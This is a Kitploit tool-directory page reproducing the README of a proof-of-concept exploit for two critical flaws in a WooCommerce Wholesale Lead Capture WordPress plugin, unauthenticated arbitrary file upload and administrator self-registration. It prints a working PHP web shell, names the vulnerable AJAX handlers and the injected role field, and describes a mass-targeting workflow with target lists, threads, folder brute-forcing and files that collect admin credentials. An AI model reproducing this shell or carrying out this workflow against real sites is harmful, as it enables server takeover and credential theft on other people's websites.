Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-27542-CVE-2026-27540- — Unauthenticated Privilege | Unauthenticated Arbitrary File Upload | Kitploit
Tools/GitHubGitHub/nxploited/cve-2026-27542-cve-2026-27540-
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubnxploited/cve-2026-27542-cve-2026-27540-

CVE-2026-27542-CVE-2026-27540-

Unauthenticated Privilege | Unauthenticated Arbitrary File Upload

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
2115 months agoNot yet reviewed

Typing SVG


🔴 Vulnerability Overview

CVE-2026-27542 — Unauthenticated Privilege Escalation

FieldDetails
CVE IDCVE-2026-27542
SeverityCRITICAL — CVSS v3.1 Score: 9.8
VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected ComponentWooCommerce Wholesale Lead Capture (WWLC) Plugin for WordPress
Vulnerability TypeUnauthenticated Privilege Escalation
Authentication RequiredNone
CWECWE-269: Improper Privilege Management

Description:
The WooCommerce Wholesale Lead Capture plugin for WordPress is vulnerable to Unauthenticated Privilege Escalation in all known affected versions. The vulnerability exists within the wwlc_create_user AJAX action handler, which processes user registration requests without adequately sanitizing or validating user-supplied role fields. A remote, unauthenticated attacker can craft a specially formed POST request that injects arbitrary WordPress capability fields — including wp_capabilities[administrator] — directly into the user metadata at the time of account creation. This allows the attacker to self-register as a WordPress administrator without any prior authentication or interaction from a legitimate user, resulting in complete compromise of the affected WordPress installation.


CVE-2026-27540 — Unauthenticated Arbitrary File Upload

FieldDetails
CVE IDCVE-2026-27540
SeverityCRITICAL — CVSS v3.1 Score: 9.8
VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected ComponentWooCommerce Wholesale Lead Capture (WWLC) Plugin for WordPress
Vulnerability TypeUnauthenticated Arbitrary File Upload (leading to Remote Code Execution)
Authentication RequiredNone
CWECWE-434: Unrestricted Upload of File with Dangerous Type

Description:
The WooCommerce Wholesale Lead Capture plugin for WordPress is vulnerable to Unauthenticated Arbitrary File Upload in all known affected versions. The vulnerability resides in the wwlc_file_upload_handler AJAX action, which is registered without any authentication or nonce verification requirement. By submitting a crafted multipart POST request to /wp-admin/admin-ajax.php, a remote unauthenticated attacker can upload files of arbitrary type — including PHP web shells — to the server's wp-content/uploads/ directory under a dynamically generated wwlc-temp-* subdirectory. Successful exploitation leads to Remote Code Execution (RCE) on the underlying web server operating as the web process user account.


🛠️ Tool Description

This is a Proof-of-Concept (PoC) exploitation script for the two critical vulnerabilities described above, targeting WordPress installations running the WooCommerce Wholesale Lead Capture plugin. The tool supports two independent attack modes:

ModeAttack TypeGoal
Mode 1Unauthenticated Arbitrary File Upload + Brute-Force folder discoveryUpload a PHP web shell and locate it via multi-layer folder guessing
Mode 2Unauthenticated Privilege Escalation via RegistrationSelf-register as WordPress Administrator and verify admin access

📋 Requirements

System Requirements

  • Python 3.8 or higher
  • Internet access to target(s)
  • Linux / Windows / macOS

Python Dependencies

pip install requests urllib3 colorama

Or install via requirements file:

pip install -r requirements.txt

requirements.txt:

requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6

🚀 Installation

# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-27542-CVE-2026-27540.git
cd CVE-2026-27542-CVE-2026-27540

# Install dependencies
pip install -r requirements.txt

# Run the tool
python3 CVE-2026-27542_CVE-2026-27540.py

⚙️ Usage

Basic Run

python3 CVE-2026-27542_CVE-2026-27540.py

The tool presents an interactive terminal interface. You will be prompted for all required parameters.


🗂️ Target List Format

Create a plain text file (e.g., list.txt) with one target URL per line:

https://target1.com
https://target2.com
http://target3.com/wordpress

🔴 Mode 1 — File Upload + Folder Brute-Force

Select mode [1=Upload+Folder, 2=Registration+Admin]: 1
Targets list file (one URL per line) [list.txt]: list.txt
Threads (concurrent sites) [3]: 5
HTTP timeout (seconds) [10]: 10
Shell file path [shell.php]: shell.php
Shell signature (marker inside shell) [Nx_SHELL_SIGNATURE]: Nx_SHELL_SIGNATURE
Max pattern-based folder guesses per site [50000]: 50000
Max time-based folder guesses per site [50000]: 50000
Max random-hex folder guesses per site [100000]: 100000
Upload results file [scan_results/wwlc_uploads.txt]: scan_results/wwlc_uploads.txt
Found shells file [scan_results/wwlc_shells_found.txt]: scan_results/wwlc_shells_found.txt

Shell file example (shell.php):

<?php
// Nx_SHELL_SIGNATURE
if(isset($_GET['cmd'])){ system($_GET['cmd']); }
?>

Note: The wwlc-temp-* folder is dynamically generated by the plugin using PHP's uniqid('wwlc-temp-'). The tool uses a multi-layer brute-force strategy to discover it:

LayerStrategyDescription
0Directory ListingAttempts to list uploads directory if open
1Pattern-BasedTime-derived and sequential numeric guesses
2Time-Based HexSeeded by observed HTTP request timestamps
3Random HexPure random hex string guessing

🟠 Mode 2 — Registration + Role Injection + Admin Verification

Select mode [1=Upload+Folder, 2=Registration+Admin]: 2
Targets list file (one URL per line) [list.txt]: list.txt
Threads (concurrent sites) [3]: 5
HTTP timeout (seconds) [10]: 10
Base registration username (prefix) [Nx_admin]: Nx_admin
Base registration email [[email protected]]: [email protected]
Registration results file [scan_results/wwlc_register_results.txt]:
Admin hits file [scan_results/Admin_login.txt]:

The tool:

  1. Discovers the WWLC registration form and extracts a valid nonce
  2. Submits a crafted registration payload injecting administrator role
  3. Attempts to log in with the created credentials
  4. Verifies admin panel access across multiple WP admin endpoints
  5. Saves confirmed admin hits to the output file

📁 Output Files

FileDescription
scan_results/wwlc_uploads.txtAll sites where file upload succeeded (Mode 1)
scan_results/wwlc_shells_found.txtFull shell URLs that were confirmed accessible (Mode 1)
scan_results/wwlc_register_results.txtAll registration attempt results with credentials (Mode 2)
scan_results/Admin_login.txtConfirmed admin login hits with credentials (Mode 2)

Sample Output (Mode 2 — Admin Hit)

Download Tool